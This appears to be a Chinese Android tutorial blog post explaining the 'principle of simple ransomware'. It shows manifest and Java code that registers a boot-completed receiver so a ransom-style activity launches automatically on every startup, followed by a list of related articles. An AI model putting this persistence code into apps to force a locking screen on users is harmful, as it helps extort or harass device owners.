Androidx学习笔记(59)--- 简易勒索软件原理
2016-02-14 06:17
453 查看
勒索软件
接收开机广播,在广播接收者中启动勒索的Activity清单文件中配置接收开机广播
<receiver android:name="com.exp.lesuo.BootReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
权限
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
定义广播接收者
@Override public void onReceive(Context context, Intent intent) { //开机的时候就启动勒索软件 Intent it = new Intent(context, MainActivity.class); context.startActivity(it); }
以上代码还不能启动MainActivity,因为广播接收者的启动,并不会创建任务栈,那么没有任务栈,就无法启动activity
手动设置创建新任务栈的flag
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 启动Activity,实现开机自动启动勒索软件
Intent it = new Intent(context, MainActivity.class);
//创建任务栈存放启动的Activity
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(it);
}
}
相关文章推荐
- Androidx学习笔记(58)--- 监控SD卡状态
- Androidx学习笔记(57)--- 短信拦截器
- Androidx学习笔记(56)--- IP拨号器
- Androidx学习笔记(55)--- 广播接收者
- Androidx学习笔记(54)--- Activity返回时传递数据
- Androidx学习笔记(53)--- 横竖屏切换的生命周期
- Androidx学习笔记(52)--- Activity的四种启动模式
- Androidx学习笔记(51)--- Activity生命周期
- Androidx学习笔记(50)--- Activity在跳转时携带数据
- 《Android源码设计模式》读书笔记 (5) 第5章 工厂模式
- 关于android系统对AndroidManifest文件的解析机制
- 即将到来的Android N,将具备这些新特性
- Android HotPatch 技术研究总结
- android模拟器新选择:Visual Studio Emulator for Android
- Service详解
- android:Activity启动模式之standard
- android:Activity四种启动模式简介
- Android SDK代理服务器解决国内不能更新下载问题
- andriod开发
- Android中Activity四种启动模式和taskAffinity属性详解